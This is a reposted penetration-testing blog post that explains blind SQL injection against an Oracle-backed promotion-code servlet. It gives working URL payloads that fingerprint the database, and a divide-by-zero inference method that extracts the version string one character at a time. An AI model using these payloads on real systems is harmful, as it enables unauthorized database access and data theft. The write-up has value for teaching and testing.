Blind SQL Injection: Inference through Underflow Error

OP: http://dbellucci.blogspot.com/2009/12/blind-sql-injection-inference-through.html
By: Daniele Bellucci

About one year ago I was hired to perform a WAPT against a webportal. There was an eShop portlet composed by many servlets, one of which was used to obtain some discount by supplying a valid promotion code. Such a servlet returned a response page containing two different messages when a not valid promotion code had been inserted:

- Not a valid promotion code
- Error occurred please try later

The second message was returned when the supplied code contained some evil chars, such as a single quote, that probably raised an error on the Backend DBMS. Unfortunately there was a proper Error Handling policy catching the exception and avoiding code backtrace on the response page. It looked like the servlet was vulnerable to Blind SQL Injection.

Recalling my contributions to the OWASP Backend Security Project, i used some techniques I had previously developed to fingerprint a DBMS by injecting some evil statements containing string concatenation and SQL dialect.

After a deep fuzzing and body response analisys I found that *Not a valid promotion code* was triggered by the following URLs:

```
/codeValidator.jsp?code=wrong
/codeValidator.jsp?code=wr' || 'ong
/codeValidator.jsp?code=wr' || (SELECT 'o' FROM DUAL) || 'ng
/codeValidator.jsp?code=wr' || (SELECT SUBSTR('oo', 1, 1) FROM DUAL) || 'ng
```

Error occurred please try later was triggered by the following URLs:

```
/codeValidator.jsp?code=wrong'
/codeValidator.jsp?code=wr'ng
/codeValidator.jsp?code=wr' || (SELECT 1/0 FROM DUAL) || 'ng
```

They both confirmed a SQL Injection vulnerability and gave away Oracle as the backend DBMS. Unfortunately, I didn't have a valid promotion code, so what kind of tautology was I supposed to use?

The answer I found was:

- Raise an underflow exception if and only if the tautology is FALSE
- Analyze what message is returned to guess if underflow exception occours

To this end I set up an inference procedure using the PL/SQL function INSTR. INSTR returns the index of the first occourrence of a char in a string, if the string contains such a char or 0. It means that INSTR follow this behaviour when used in conjuction of SUBSTR and 1/0 expression:

```
SELECT 1/INSTR(SUBSTR('daniele',1,1), 'd') FROM DUAL => 1
SELECT 1/INSTR(SUBSTR('daniele',1,1), 'z') FROM DUAL => Underflow Exception
```

It was easy to deduce inference procedure. These query strings returned *Not a valid promotion code*:

```
?code=test' || (SELECT 1/INSTR(SUBSTR(version,1,1),'9') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,2,1),'.') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,3,1),'2') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,4,1),'.') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,5,1),'0') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,6,1),'.') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,7,1),'8') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,8,1),'.') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,9,1),'0') FROM v$instance) || '
```

While these query strings returned *Error occurred please try later*

```
?code=wrong' || (SELECT 1/INSTR(SUBSTR(version,1,1),'8') FROM v$instance) || '
?code=wrong' || (SELECT 1/INSTR(SUBSTR(version,2,1),',') FROM v$instance) || '
?code=wrong' || (SELECT 1/INSTR(SUBSTR(version,3,1),'3') FROM v$instance) || '
```